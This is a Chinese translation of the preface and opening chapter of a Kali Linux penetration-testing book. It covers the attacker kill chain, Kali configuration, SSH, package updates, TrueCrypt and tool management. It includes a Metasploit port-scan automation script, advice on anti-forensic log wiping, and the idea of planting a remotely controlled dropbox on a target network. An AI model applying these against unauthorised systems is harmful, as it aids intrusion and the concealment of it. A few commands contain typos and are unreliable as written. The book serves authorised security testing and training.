原文:
annas-archive.org/md5/2DEEA011D658BEAFD40C40F1FA9AC488
译者:飞龙
前言
本书致力于使用 Kali Linux 对网络进行渗透测试。渗透测试模拟了恶意的外部或内部人员对网络或系统的攻击。与漏洞评估不同,渗透测试旨在包括利用阶段。因此,它证明了利用是存在的,并且伴随着非常真实的被攻击的风险,如果不加以处理。
注意
在本书中,我们将“渗透测试人员”、“攻击者”和“黑客”互换使用,因为他们使用相同的技术和工具来评估网络和数据系统的安全性。他们之间唯一的区别是他们的最终目标——一个安全的数据网络,或者数据泄露。
大多数测试人员和攻击者遵循非正式的、开源的或专有的定义的测试方法,指导测试过程。遵循方法论有一定的优势:
-
方法确定了测试过程中可以自动化的部分(例如,测试人员可能总是使用 ping 扫描来识别潜在目标;因此,这可以被脚本化),允许测试人员专注于发现和利用漏洞的创造性技术
-
结果是可重复的,允许它们随时间进行比较,或者交叉验证一个测试人员的结果与另一个测试人员的结果,或者确定目标的安全性随时间改善(或没有!)。
-
定义好的方法论在时间和人员需求方面是可预测的,可以控制和最小化成本
-
已经得到客户预先批准的方法,可以保护测试人员免受网络或数据损害的责任
正式的方法包括以下著名的例子:
-
Kevin Orrey 的渗透测试框架:该方法论指导测试人员按顺序进行渗透测试的步骤,并提供工具和相关命令的超链接。更多信息可以在www.vulnerabilityassessment.co.uk找到。
-
信息系统安全评估框架(ISSAF):这个全面的指南旨在成为测试网络的单一来源。更多信息可以在www.oissg.org找到。
-
NIST SP 800-115,信息安全测试和评估技术指南:这是 2008 年编写的,四步方法有些过时。然而,它确实提供了渗透测试基本步骤的良好概述。你可以在
csrc.nist.gov/publications/nistpubs/800-115/SP800-115.pdf
获得更多信息。 -
开放源安全测试方法手册(OSSTMM):这是较早的方法之一,最新版本试图量化确定的风险。更多细节可以在www.osstmm.org找到。
-
开放 Web 应用安全项目(OWASP):这个项目专注于 Web 应用程序中最常见的 10 个漏洞。更多信息可以在www.owasp.org找到。
-
渗透测试执行标准(PTES):这个方法论是经过积极维护的,完整地准确反映了恶意人员的活动。你可以在www.pentest-standard.org获得更多信息。
-
攻击性(Web)测试框架(OWTF):该框架于 2012 年推出,将 OWASP 方法与更完整严格的 PTES 方法相结合,是一个非常有前途的方向。更多细节可以在
github.com/7a/owtf
找到。
不幸的是,使用结构化的方法可能会在测试过程中引入弱点:
-
方法很少考虑进行渗透测试的原因,或者业务中哪些数据是关键的,需要受到保护。在缺乏这一重要的第一步的情况下,渗透测试失去了焦点。
-
许多渗透测试人员不愿意遵循定义的方法论,担心这会阻碍他们在利用网络方面的创造力。
-
渗透测试未能反映恶意攻击者的实际活动。客户经常希望看到您是否能够在特定系统上获得管理访问权限(“您能够获取系统的 root 权限吗?”)。然而,攻击者可能专注于以不需要 root 访问权限的方式复制关键数据,或者造成拒绝服务。
为了解决正式测试方法中固有的限制,它们必须集成在一个从攻击者的角度看待网络的框架中,“杀伤链”。
渗透测试的“杀伤链”方法
2009 年,洛克希德·马丁公司 CERT 的 Mike Cloppert 提出了现在被称为“攻击者杀伤链”的概念。这包括对手在攻击网络时采取的步骤。它并不总是按线性流程进行,因为一些步骤可能同时发生。可能会在同一目标上随时间启动多次攻击,并且可能同时发生重叠阶段。
在本书中,我们修改了 Cloppert 的杀伤链,以更准确地反映攻击者在利用网络和数据服务时如何应用这些步骤。以下图表显示了攻击者的典型杀伤链:
攻击者的典型杀伤链可以描述如下:
-
侦察阶段 - 大多数军事组织采用的格言“侦察时间永远不会浪费时间”承认在与敌人交战之前尽可能多地了解敌人是更好的。出于同样的原因,攻击者在攻击之前将对目标进行广泛的侦察。事实上,据估计,至少 70%的渗透测试或攻击的“工作任务”都花在进行侦察上!通常,他们将使用两种类型的侦察:
-
被动侦察 - 这不会以敌对的方式直接与目标互动。例如,攻击者将查看公开可用的网站,评估在线媒体(尤其是社交媒体网站),并尝试确定目标的“攻击面”。
一个特定的任务将是生成过去和现在员工姓名的列表。这些姓名将成为暴力破解或猜测密码的尝试的基础。它们也将用于社会工程攻击。
这种类型的侦察很难,甚至不可能与常规用户的行为区分开来。
- 主动侦察 - 这可以被目标检测到,但很难将大多数在线组织的面孔与常规背景区分开来。
在主动侦察期间发生的活动包括对目标场所的实际访问、端口扫描和远程漏洞扫描。
-
交付阶段 - 交付是选择和开发将用于攻击期间完成利用的武器。选择的确切武器将取决于攻击者的意图以及交付途径(例如,通过网络、无线或通过基于 Web 的服务)。交付阶段的影响将在本书的后半部分进行检查。
-
利用或妥协阶段 - 这是特定利用成功应用的时刻,允许攻击者达到他们的目标。妥协可能发生在单个阶段(例如,利用已知的操作系统漏洞使用缓冲区溢出),也可能是多阶段妥协(例如,攻击者物理访问场所窃取公司电话簿。这些姓名被用来创建用于针对门户登录的暴力攻击的列表。此外,向所有员工发送电子邮件,要求点击嵌入链接以下载篡改其计算机的 PDF 文件。)。当恶意攻击者针对特定企业时,多阶段攻击是常态。
-
利用后:对目标的行动 - 这经常被错误地称为“外泄阶段”,因为人们只关注将攻击视为窃取敏感数据(如登录信息、个人信息和财务信息)的途径;攻击者可能有不同的目标。例如,一家企业可能希望在竞争对手的网络中造成拒绝服务,以吸引客户访问自己的网站。因此,这个阶段必须关注攻击者的许多可能行动。
最常见的利用活动之一是,攻击者试图提高他们的访问权限到最高可能的水平(垂直升级),并妥协尽可能多的帐户(水平升级)。
- 利用后:持久性 - 如果妥协网络或系统具有价值,那么如果可以持续访问,这个价值很可能会增加。这使攻击者能够与被妥协的系统保持通信。从防御者的角度来看,这通常是最容易检测到的 kill chain 的部分。
Kill chains 是攻击者在试图 compromise 网络或特定数据系统时的行为元模型。作为元模型,它可以包含任何专有或商业渗透测试方法。然而,与方法论不同的是,它确保了对攻击者如何接近网络的战略级关注。对攻击者活动的关注将指导本书的布局和内容。
本书涵盖的内容
本书分为两个部分。在第一部分中,攻击者的 Kill Chain,我们将按照 kill chain 的步骤,详细分析每个阶段。在第二部分中,交付阶段,我们将专注于交付阶段和一些可用的方法,以了解攻击是如何发生的,以及如何利用这些知识来保护网络。
第一章, 开始使用 Kali Linux,向读者介绍了 Kali Linux 的基础知识,以及支持渗透测试的最佳配置。
第二章, 确定目标-被动侦察,提供了如何利用公开可用的来源收集有关目标的信息以及可以简化侦察和信息管理的工具的背景。
第三章, 主动侦察和漏洞扫描,向读者介绍了可以用来获取有关目标的信息的隐秘方法,特别是识别可能被利用的漏洞的信息。
第四章, 利用,演示了可以用来查找和执行允许攻击者妥协系统的利用的方法。
第五章,“后期利用-对目标的行动”,描述了攻击者如何提升其权限以实现其对系统的妥协目标,包括窃取数据、更改数据、发动额外攻击或创建拒绝服务。
第六章,“后期利用-持久性”,提供了如何配置被攻陷的系统,以便攻击者可以随意返回并继续后期利用活动的背景知识。
第七章,“物理攻击和社会工程”,演示了为什么能够物理访问系统或与管理系统的人类进行交互提供了最成功的利用途径。
第八章,“利用无线通信”,演示了如何利用常见的无线连接来访问数据网络和隔离系统。
第九章,“对基于 Web 的应用程序进行侦察和利用”,提供了一个简要概述,即如何保护最复杂的交付阶段之一:暴露在公共互联网上的基于 Web 的应用程序。
第十章,“利用远程访问通信”,提供了一个越来越重要的进入系统的途径,因为越来越多的组织采用依赖于远程访问通信的分布式和远程办公模式,这些通信本身容易受到攻击。
第十一章,“客户端利用”,重点介绍了针对最终用户系统上的应用程序的攻击,这些系统通常没有得到与组织主要网络相同程度的保护。
附录,“安装 Kali Linux”,提供了如何安装 Kali Linux 以及如何使用整个磁盘加密来避免机密测试数据被拦截的概述。
本书需要什么
为了实践本书中提出的材料,您将需要诸如 VMware 或 VirtualBox 之类的虚拟化工具。
您将需要下载和配置 Kali Linux 操作系统及其套件工具。为了确保其是最新的,并且您拥有所有工具,您将需要接入互联网。
遗憾的是,Kali Linux 系统上的并非所有工具都会被介绍,因为它们太多了。本书的重点不是让读者被所有工具和选项淹没,而是提供一种测试方法,让他们有机会随着经验和知识的变化学习和整合新的工具。
尽管本书中大多数示例都集中在 Microsoft Windows 上,但方法和大多数工具都可以转移到其他操作系统,如 Linux 和其他 Unix 版本。
最后,本书应用 Kali 来完成对目标系统的攻击链。您将需要一个目标操作系统。本书中的许多示例使用 Microsoft Windows XP。尽管它在 2014 年 4 月已被弃用,但它为许多工具提供了标准行为的“基线”。如果您知道如何将方法应用于一个操作系统,您就可以将其应用于更近期的操作系统,如 Windows 7 和 Windows 8。
本书适合谁
本书适用于想要了解更多关于数据安全的人。特别是,它针对的是那些想要了解在使用特定工具时为什么使用它们的人,而不是那些试图尽可能多地向系统投放工具以查看是否会发生漏洞利用的人。我的目标是让读者制定自己的方法和途径进行有效的渗透测试,这将使他们在进步的过程中进行实验和学习。我相信这种方法是了解恶意人员如何攻击数据系统的唯一有效方式,因此也是了解如何在漏洞被利用之前进行调解的唯一方式。
如果您是安全专业人士、渗透测试人员,或者对复杂数据环境的安全感兴趣,那么这本书适合您。
约定
在本书中,您会发现一些文本样式,用于区分不同类型的信息。以下是一些样式的示例,以及它们的含义解释。
文本中的代码词、数据库表名、文件夹名、文件名、文件扩展名、路径名、虚拟 URL、用户输入和 Twitter 句柄都显示如下:“在这种情况下,VM 被分配了 IP 地址192.168.204.132
。”
代码块设置如下:
# MSF port scanner
onhost_add {
println("[*] MSF Port Scanner New Host OpenPorts on$1");
$console = console();
cmd($console, "use auxiliary/scanner/portscan/tcp");
cmd($console, "set THREADS 12");
cmd($console, "set PORTS 139, 143");
# enter other ports as required
cmd($console, "set RHOSTS $1");
cmd($console, "run -j");
cmd($console, "use auxiliary/scanner/discovery/udp_sweep");
cmd($console, "set THREADS 12");
cmd($console, "set BATCHSIZE 256");
cmd($console, "set RHOSTS $1");
cmd($console, "run -j");
db_sync();
}
任何命令行输入或输出都以以下形式编写:
root@kali~# update-rc.d networking defaults
新术语和重要单词以粗体显示。例如,屏幕上显示的单词,菜单或对话框中的单词等,都会以这种形式出现在文本中:“如果您双击truecrypt1图标,您将进入文件浏览器视图。”
注意
警告或重要说明会以以下形式出现在方框中。
提示
技巧和窍门会以以下形式出现。
第一部分:攻击者的杀伤链
从 Kali Linux 开始
识别目标-被动侦察
主动侦察和漏洞扫描
利用
后期利用-对目标的行动
后期利用-持久性
第一章:从 Kali Linux 开始
Kali Linux(Kali)是 BackTrack 渗透测试平台的继任者,通常被认为是用于保护数据和语音网络的渗透测试的事实标准工具包。本章介绍了 Kali,并侧重于定制 Kali 以支持渗透测试的一些高级方面。通过本章的学习,您将学到:
-
Kali 概述
-
配置网络服务和安全通信
-
更新 Kali
-
定制 Kali
-
使用第三方应用程序扩展 Kali 的功能
-
有效管理渗透测试
Kali Linux
BackTrack(BT)(www.offensive-security.com)发布,提供了广泛的渗透测试和防御工具,非常适合对网络进行评估和保护的审计员和网络管理员。授权和未经授权(黑客)渗透测试人员都使用相同的工具。
BackTrack 的最终版本 BT 5r3 于 2012 年 8 月发布。基于 Ubuntu Linux 平台,它被安全社区广泛采用和支持。不幸的是,它的文件架构使得难以管理各种工具及其相关依赖。
在 BackTrack 中,用于渗透测试的所有工具都放在/pentest 目录中。子文件夹如/web 或/database 有助于进一步定义工具的位置。在这种层次结构中查找和执行工具可能是不直观的。例如,用于识别 SQL 注入的 sqlninja 是 Web 漏洞评估工具、Web 利用工具还是数据库利用工具?
2013 年 3 月,BackTrack 被 Kali Linux 取代,后者使用基于 Debian GNU/Linux 操作系统的新平台架构。
Debian 遵循文件系统层次结构标准(FHS),这是与 BackTrack 相比的一个重要优势。不需要在/pentest 树中导航,因为应用程序包含在系统路径中,可以从系统的任何位置调用工具。
Kali 的其他特性包括:
-
支持多个桌面环境,如 Gnome、KDE、LXDE 和 XFCE,并提供多语言支持。
-
符合 Debian 的工具至少每天同步四次,这样更容易更新软件包并应用安全补丁。
-
支持 ISO 定制,允许用户构建自己的 Kali 版本。引导功能还可以执行企业范围的网络安装,可以使用预先配置文件进行自动化。
-
ARMEL 和 ARMHF 支持使得 Kali 可以安装在树莓派、ODROID-U2/-X2 和三星 Chromebook 等设备上。
-
包括 300 多个渗透测试数据取证和防御工具。它们提供了广泛的无线支持,通过内核补丁允许一些无线攻击所需的数据包注入。
-
Kali 仍然是一个免费的开源项目。最重要的是,它得到了活跃的在线社区的支持。
在本书中,我们将使用 64 位 Kali 的 VMware 虚拟机(参见附录,安装 Kali Linux中有有关安装 Kali 的说明)。
使用 VM 是因为它可以轻松地在其他操作系统中快速执行某些应用程序,比如 Microsoft Windows。此外,可以使用 VM 存档进行渗透测试的结果,以便审查存档,以确定特定漏洞是否会被用于测试的工具集检测到。
启动 Kali 时,用户将进入默认的桌面 GUI,顶部有一个菜单栏和一些简单的图标。通过选择菜单项应用程序,然后Kali Linux,用户将获得一个包含前 10 个安全工具以及一系列文件夹的菜单系统,这些文件夹按照渗透测试中的一般顺序进行组织,如下截图所示:
注意
该菜单对于 BT 5r3 的用户来说是熟悉的。然而,有一些变化,包括简化了对网络服务和通信的访问。
配置网络服务和安全通信
使用 Kali 的第一步是确保它能够连接到有线或无线网络,以支持更新和定制。
您可能需要通过DHCP(动态主机配置协议)获取 IP 地址,或者静态分配一个 IP 地址。首先,使用终端窗口中的ifconfig
命令确认您的 IP 地址,如下截图所示:
在这种特殊情况下,VM 被分配了 IP 地址192.168.204.132
。如果没有获得 IP 地址,可以使用命令dhclient eth0
(或其他可用接口,这将取决于所使用系统的具体配置)通过 DHCP 分配地址。
如果使用静态 IP 地址,可能需要额外的信息。例如,您可以分配静态 IP192.168.204.128
如下:
host IP address: 192.168.204.128
subnet mask: 255.255.255.0
default gateway: 192.168.204.1
DNS server: 192.168.204.10
输入终端窗口并输入以下命令:
root@kali:~# ifonconfig eth0 192.168.204.128/24
root@kali:~# route add default gw 192.168.204.1
root@kali:~# echo nameserver 192.168.204.10 > /etc/resolv.conf
对 IP 设置的更改是非持久的,在 Kali 重新启动时将丢失。要使更改永久生效,您需要编辑/etc/network/interfaces
文件,如下截图所示:
默认情况下,Kali 不会启用 DHCP 服务。这样做会在网络上宣布新的 IP 地址,这可能会提醒管理员有测试者的存在。对于某些测试案例,这可能不是一个问题,而且在启动时自动启动某些服务可能是有利的。可以通过输入以下命令来实现这一点:
root@kali~# update-rc.d networking defaults
root@kali~# /etc/init.d/networking restart
Kali 安装了可以根据需要启动或停止的网络服务,包括 DHCP、HTTP、SSH、TFTP 和 VNC 服务器。这些服务通常是从命令行调用的,但是有些可以从 Kali 菜单中访问。
调整网络代理设置
位于经过身份验证或未经身份验证的代理连接后的用户必须修改bash.bashrc
和apt.conf
。这两个文件位于/root/etc
目录中。
- 编辑
bash.bashrc
文件,如下截图所示,使用文本编辑器将以下行添加到bash.bashrc
文件的底部:
export ftp_proxy="ftp://user:password@proxyIP:port"
export http_proxy="http://user:password@proxyIP:port"
export https_proxy="https://user:password@proxyIP:port"
export socks_proxy="https://user:password@proxyIP:port"
-
用你的代理 IP 地址和端口号分别替换
proxyIP
和port
,用你的认证用户名和密码替换用户名和密码。如果不需要进行身份验证,只需写@
符号后面的部分。 -
在同一目录中,创建
apt.conf
文件并输入以下命令行,如下截图所示: -
保存并关闭文件。注销然后重新登录以激活新设置。
使用安全外壳保护通信
为了在测试期间最大程度地减少目标网络的检测,Kali 不会启用任何外部监听网络服务。一些服务,如安全外壳(SSH),已经安装。但是,在使用之前必须启用它们。
Kali 预先配置了默认的 SSH 密钥。在启动 SSH 服务之前,最好禁用默认密钥并生成用于使用的唯一密钥集。
将默认的 SSH 密钥移动到备份文件夹,然后使用以下命令生成新的 SSH 密钥集:
dpkg-reconfigure openssh-server
将原始密钥移动并生成新密钥集的过程如下截图所示。
要验证新生成的密钥是否唯一,请计算它们的md5sum
哈希值,并与原始密钥进行比较,如下截图所示。
要使用菜单启动 SSH 服务,请选择应用程序 | Kali Linux | 系统服务 | SSHD | SSHD 启动。
要从命令行启动 SSH,请使用以下截图中显示的命令行:
要验证 SSH 是否正在运行,请执行netstat
查询,如下截图所示:
在上一个示例中,SSH 守护程序正在端口 22 上监听。要停止 SSH,请使用以下命令:
/etc/init.d/ssh stop
更新 Kali Linux
必须定期修补 Kali,以确保基本操作系统和应用程序是最新的,并且已应用安全补丁。
Debian 软件包管理系统
Debian 的软件包管理系统依赖于称为软件包的离散捆绑应用程序。用户可以安装或删除软件包以定制环境,并支持诸如渗透测试之类的任务。它们还可以扩展 Kali 的功能,支持通信(Skype、即时通讯和安全电子邮件)或文档(在 Wine 下运行的 OpenOffice 和 Microsoft Office)等任务。
软件包存储在存储库中,并下载到系统用户以确保软件包的完整性。
软件包和存储库
默认情况下,Kali 仅使用官方 Kali 存储库。可能由于安装过程不完整而未将存储库添加到正确的sources.list
文件中,或者您可能希望在添加新应用程序时扩展可用的存储库。
可以通过命令行(echo deb http://http.kali.org/kiali kali main contrib non-free >> /etc/apt/sources.list
)或使用文本编辑器来更新source.list
文件。
应该存在于/etc/apt/sources.list
中的默认软件包存储库如下所示;如果不存在,请编辑 sources.list 文件以包括它们:
## Kali deb http://http.kali.org/kali kali main contrib non-free
## Kali-dev deb http://http.kali.org/kali kali-dev main contrib non-free
## Kali Security updates deb http://security.kali.org/kali-security kali/updates maincontrib non-free
并非所有 Kali 工具都目前在官方工具存储库中维护。如果选择手动更新工具,则可能会覆盖现有的打包文件并破坏依赖关系。因此,一些尚未正式移至 Debian 存储库的工具,如aircrack-ng
、dnsrecon
、sqlmap
、beef-xss
和社会工程工具包(se-toolkit),都在 Bleeding Edge 存储库中维护。可以使用以下命令将此存储库添加到sources.list
中:
## Bleeding Edge repository deb http://repo.kali.org/kali kali kali-bleeding-edge main
Dpkg
Dpkg 是 Debian 的软件包管理系统。这个命令行应用程序用于安装、删除和查询软件包。一般来说,dpkg
对单个软件包执行操作。
提示
dpkg
在 Kali 中编译已安装应用程序列表时特别有用,使用命令dpkg -l > list.txt
。如果要知道特定工具是否已安装,请使用dpkg -l | grep <tool name>
。
以下屏幕截图显示了调用 dpkg -l 时返回数据的摘录,提供了 Kali 发行版上安装的所有应用程序的列表;这在识别可能仅可以直接从命令行访问的应用程序方面特别有用。
使用高级打包工具
高级打包工具(APT)通过搜索存储库并安装或升级软件包以及所有所需的依赖项,扩展了dkpg
的功能。 APT 还可以用于升级完整的发行版。
最常见的apt
命令如下:
-
apt-get update
:用于将本地软件包索引文件与/etc/apt/sources.list
中定义的源重新同步。在执行upgrade
或dist-upgrade
之前,应始终首先使用update
命令。 -
apt-get upgrade
:用于安装系统上已安装的所有软件包的最新版本,使用/etc/apt/sources.list
。在 Kali 上安装了新版本的软件包将被升级。升级命令不会更改或删除未升级的软件包,并且不会安装尚未存在的软件包。 -
apt-get dist-upgrade
:这将升级系统上当前安装的所有软件包及其依赖项。它还会从系统中删除过时的软件包。
apt-get
命令还可用于显示软件包的完整描述并识别其依赖项(apt-cache show <package name>
)或删除软件包(apt-get remove <package name>
)。
注意
在启动时运行apt-get update
命令和upgrade
命令,以确保会话使用最新的工具。最简单的方法是创建一个包含以下命令行的update.sh
脚本:
apt-get update && apt-get upgrade –y && apt-get dist-upgrade –y
某些应用程序不会被apt-get
命令升级。例如,exploit-db
存档的本地副本必须手动升级。创建一个名为update.sh
的脚本,并将以下命令添加到其中,以自动化更新过程:
cd /usr/share/exploitdb
wget http://www.exploit-db.com/archive.tar.bz2
tar –xvjf archive.tar.bz2
rm archive.tar.bz2
配置和自定义 Kali Linux
Kali 是一个用于完成渗透测试的框架。但是,测试人员不应该感到受限于默认安装的工具,或者受限于 Kali 桌面的外观和感觉。通过自定义 BackTrack,测试人员可以增加正在收集的客户数据的安全性,并使渗透测试变得更加容易。
对 Kali 进行的常见自定义包括:
-
重置 root 密码
-
添加非 root 用户
-
加快 Kali 操作
-
与 MS Windows 共享文件夹
-
创建加密文件夹
重置 root 密码
要更改用户密码,请使用以下命令:
passwd root
然后将提示输入新密码,如下图所示:
添加非 root 用户
Kali 中提供的许多应用程序必须以 root 级别权限运行才能正常工作。 root 级别权限确实存在一定的风险,例如,输入错误的命令或使用错误的命令可能会导致应用程序失败,甚至损坏正在测试的系统。在某些情况下,最好使用用户级别权限进行测试。实际上,有些应用程序强制使用较低权限的帐户。
要创建非 root 用户,只需从终端使用adduser
命令并按照出现的说明进行操作,如下图所示:
加快 Kali 操作
有几种工具可用于优化和加快 Kali 操作:
-
在使用虚拟机时,安装 VM 的软件驱动程序包:Guest Additions(VirtualBox)或 VMware Tools(VMware)。
-
在创建虚拟机时,选择固定的磁盘大小,而不是动态分配的磁盘大小。向固定磁盘添加文件更快,文件碎片更少。
-
preload 应用程序(
apt-get install preload
)识别用户最常用的程序,并预加载二进制文件和依赖项到内存中,以提供更快的访问。安装后第一次重启后会自动运行。 -
BleachBit(
apt-get install bleachbit
)通过释放缓存,删除 cookie,清除互联网历史记录,销毁临时文件,删除日志和丢弃其他不必要的文件来释放磁盘空间并提高隐私。高级功能包括销毁文件以防止恢复和擦除空闲磁盘空间以隐藏未完全删除的文件的痕迹。 -
默认情况下,Kali 不显示启动菜单中存在的所有应用程序。在启动过程中安装的每个应用程序都会减慢系统数据,并可能影响内存使用和系统性能。安装启动管理器(BUM)以禁用在启动期间启用的不必要的服务和应用程序(
apt-get install bum
),如下图所示:
注意
虚拟机使用不同的菜单标题,但流程是一样的。
-
在 Kali 桌面上打开文件浏览器。共享文件夹将显示在
mnt
文件夹中(可能放在子文件夹hgfs
中)。 -
将文件夹拖到 Kali 桌面上,以创建到真实文件夹的链接。
-
放入文件夹的所有内容将在主机操作系统上同名的文件夹中可访问,反之亦然。
共享文件夹中将包含来自渗透测试的敏感数据,必须加密以保护客户的网络,并减少测试人员的责任,如果数据丢失或被盗。
使用 TrueCrypt 创建加密文件夹
在渗透测试期间,您将可以访问敏感的客户信息,包括可利用的漏洞和成功突破的数据副本。测试人员的法律和道德责任是确保他所掌握的这些信息始终得到保护。满足这一责任的最佳方式是确保所有客户信息在存储和传输过程中都进行加密。
要在 BackTrack 上安装 TrueCrypt,请完成以下步骤:
-
在应用程序菜单中,选择附件 | TrueCrypt。
-
要创建加密文件夹,请打开应用程序。您将看到主菜单,如下截图所示:
-
在主菜单中,选择创建 卷按钮。这将启动TrueCrypt 卷 创建向导,如下截图所示:
-
选择创建加密文件容器,然后点击下一步。
-
下一个屏幕将提示卷类型,选择标准 TrueCrypt 卷,然后点击下一步。
-
在卷 位置屏幕上,选择选择文件。您将被要求通过提供名称并指示它将保存在指定文件夹中来指定新的 TrueCrypt 卷,如下截图所示:
-
选择一个文件名。不要选择与正在测试的客户相关的文件名,或者表明目录中存在敏感材料的文件名。使用一个数字或代码词来代表客户,以及一个通用的标题来表示结果。将文件保存在桌面上,然后点击下一步。
-
下一个屏幕将为您提供加密选项。从下拉菜单中选择加密算法。有几种选择,但对于常规目的,AES(默认的 256 位密钥)就足够了。您还将从下拉菜单中选择哈希算法(默认情况下,RIPEMD-160应该足够)。选择完成后,点击下一步按钮,如下截图所示:
-
现在将提示您输入卷大小。最小大小应该约为 500 MB,但这可能会根据测试方案而有所不同。点击下一步。
-
应根据强密码的规则选择卷密码。选择并确认密码,然后点击下一步,如下截图所示:
-
下一个屏幕允许您选择格式选项。对于文件系统选项,从下拉菜单中选择FAT。点击下一步。
-
下一个屏幕卷 格式,为加密文件系统创建一个随机密钥。密钥基于鼠标移动,并且您将被提示在窗口上移动鼠标一段时间以确保加密密钥的随机性(密码学强度)。完成后,点击格式化以创建 TrueCrypt 卷。
-
最终的卷已经创建。它将显示为桌面上的图标。该卷已加密,可以复制到外部存储设备或移动到主机系统并保持加密状态。
要使用加密卷,您必须首先选择主TrueCrypt菜单中管理加密文件夹的插槽。完成后,使用选择文件按钮选择加密文件的名称。在这种情况下,我们将使用桌面上以前创建的名为pentest
的文件,如下截图所示:
点击挂载按钮。此时,将提示您输入密码,如下截图所示:
输入正确的密码后,您将看到Slot 1的详细信息会发生变化,以反映加密文件夹的属性,并且在桌面上会显示一个名为truecrypt1
的新图标,如下面的屏幕截图所示:
如果您双击truecrypt1图标,您将进入文件浏览器视图。
在这一点上,它将作为一个常规目录,您可以使用该文件夹来存储所有与测试相关的信息。当您使用文件夹的内容,并希望确保所有数据都是加密的时候,在主菜单上选择卸载。文件夹将恢复到加密状态。
管理第三方应用程序
尽管 Kali 预装了几百个应用程序,但您可能需要安装其他应用程序来有效地测试特定环境(如工业系统),添加新的尖端工具,或确保您安装了最喜欢的工具。Kali 使得定位、安装和管理这些工具变得容易。
安装第三方应用程序
安装第三方应用程序有多种方法:使用apt-get
命令,访问 GitHub 存储库,直接安装应用程序。
所有工具都应该使用apt-get install
命令从 Kali Linux 存储库安装。install
命令可以在终端窗口的命令行中执行,或者用户可以选择一个图形化的软件包管理工具。
推荐的第三方应用程序包括:
-
apt-file
:这是一个命令行工具,用于在 APT 包装系统的软件包中搜索。它允许您列出软件包的内容,而无需安装或获取它。 -
gnome-tweak-tool
:这允许用户更改主题并快速配置桌面选项。 -
instanbul
:这是一个桌面屏幕录制工具,允许您制作桌面活动的电影。 -
openoffice
:这是一个开源的办公生产力套件,用于文档编制。 -
scrub
:这是一个安全删除(反取证)工具,可以使用各种覆盖模式安全删除数据,以符合严格的政府标准。 -
shutter
:这是一个截图工具,可以捕捉桌面、打开窗口或选择的图像。 -
team viewer
:这支持远程访问和远程管理。它还允许测试人员将预先配置的计算机(一个 dropbox)放在目标网络上,并从远程位置控制测试。 -
terminator
:这是 Linux 终端窗口的替代品,允许水平滚动 - 不再有换行文本!
不在 Debian 存储库中的工具,可以通过apt-get install
访问,仍然可以安装在 Kali 上。但是,用户必须接受手动安装与存储库不协调,并且可能会破坏依赖关系,导致应用程序失败。
一些工具使用 GitHub 在线存储库进行软件开发项目。许多开发人员青睐这个开放存储库,因为 Git 修订系统的灵活性以及软件站点的社交媒体方面。我们将使用的一个工具是recon-ng
,一个网络侦察框架。
要从 GitHub 存储库克隆当前版本的recon-ng
,请使用以下命令行:
cd /opt; git clone https://LaNMaSteR53@bitbucket.org/LaNMaSteR53/recon-ng.git
cd opt/recon-ng
./recon-ng.py
最后,一些应用程序必须手动安装。例如,要恢复异步端口扫描程序 Unicornscan,可以返回到 Kali,您必须:
-
确保首先存在依赖项:
apt-get install flex
-
下载 Unicornscan 的最新版本(www.unicornscan.org - 当前版本是 unicornscan-0.4.7-2)
-
将文件内容提取到一个新目录:
tar jxf unicornscan-0.4.7-2.tar.bz2
-
切换到包含 Unicornscan 的目录:
cd unicornscan-0.4.7/
-
编译源代码:
./configure CFLAGS=-D_GNU_SOURCE && make && make install
确切的依赖关系和安装过程将因应用程序而异,因此您需要参考开发者的README
文件,以确保正确安装和配置这些应用程序。
以非 root 权限运行第三方应用程序
Kali Linux 旨在支持渗透测试。大多数工具需要 root 级别访问权限,这就是为什么工具集和数据的访问受到密码和加密保护的原因。
然而,一些第三方工具并不意味着以 root 级别权限运行。诸如 web 浏览器之类的工具可能会受到损害,并且给攻击者访问 root 权限可能会产生重大的安全影响。
如果不需要 root 访问权限,工具应该遵循最小特权原则,并作为非 root 用户运行。
要运行通常作为非 root 用户运行的应用程序,请使用 root 帐户登录 Kali。Kali 应该配置为使用非 root 帐户。在本例中,我们将使用之前使用adduser
命令创建的noroot
帐户。
运行 web 浏览器 Iceweasel 作为非 root 用户执行以下步骤:
-
创建一个非 root 用户帐户。在本例中,我们将使用
noroot
。 -
我们将使用
sux
,这是一个包装应用程序,它将凭据从特权用户传输到目标非 root 用户。使用apt-get install
命令下载和安装sux
。 -
启动 web 浏览器,然后将其最小化。
-
输入命令行:
ps aux |grep iceweasel
。如您所见,Iceweasel 正在以 root 权限运行。 -
关闭 Iceweasel,并使用命令
sux - noroot iceweasel
重新启动,如下面的屏幕截图所示:
如果您检查 Iceweasel 标题栏,如下面的屏幕截图所示,您将看到它被调用为用户noroot
,这是一个没有管理员特权的帐户。
您还可以通过检查打开的进程来确认 Iceweasel 是否在noroot
帐户下运行,如下面的屏幕截图所示:
渗透测试的有效管理
渗透测试中最困难的部分之一是记住测试网络或系统目标的所有相关部分,或者在测试完成后尝试记住目标是否实际上已经被测试过。
BT 5r3 强调使用管理工具,如 Draedis 和 MagicTree。这些工具通过提供测试数据的中央存储库来促进组测试。此外,它们通常提供一些框架,以便测试人员知道他们在测试方法论中的位置,以及还有哪些测试尚未完成。这类工具在协调漏洞评估或渗透测试期间定义的组活动方面非常出色。
这些工具保留在应用程序 | Kali Linux | 报告工具 | 证据管理菜单中。
但是对于复杂的渗透测试,方法可能更加灵活,因为它适应网络目标呢?
一些测试人员在测试期间使用键盘记录器或 Wireshark 来记录测试期间生成的按键和数据包流量。如果测试导致网络或应用程序中断,这些数据可能特别有用,因为重放和分析发送的数据包可以确定哪些数据包工具影响了网络。
Kali Linux 包括几个工具,更适合快速记录笔记并作为快速添加剪切和粘贴数据的存储库,包括 KeepNote 和 Zim 桌面 wiki。
测试人员不仅需要执行测试和收集数据,还需要能够向客户提供他们的发现。这可能很困难,因为一些结果是瞬时的——测试在某个时间点显示了一个发现,然后目标系统上的某些内容发生了变化,未来的测试未能显示可利用的漏洞,尽管它可能会重新出现。
积极结果的另一个挑战是需要以客户能理解的方式展示给客户。
黄金法则是始终抓取任何积极或潜在发现的屏幕截图。使用 Shutter 等工具从桌面捕获图像。
默认情况下,Kali 配置了CutyCapt,这是一个跨平台命令行实用程序,可以捕获网页并创建各种图像类型,包括 PDF、PS、PNG、JPEG、TIFF、GIF 和 BMP。
例如,要从 Google 搜索页面创建特定大小的图像,请在命令行提示符中输入以下内容:
..cutycapt --url=http://www.google.com --out=google.png --min-width=300 --min-heightheight=250.
在执行时,将显示在上一个命令中指定大小的图像,如下面的屏幕截图所示:
CutyCapt 在演示基于 Web 的漏洞(如跨站脚本)存在时特别有用。
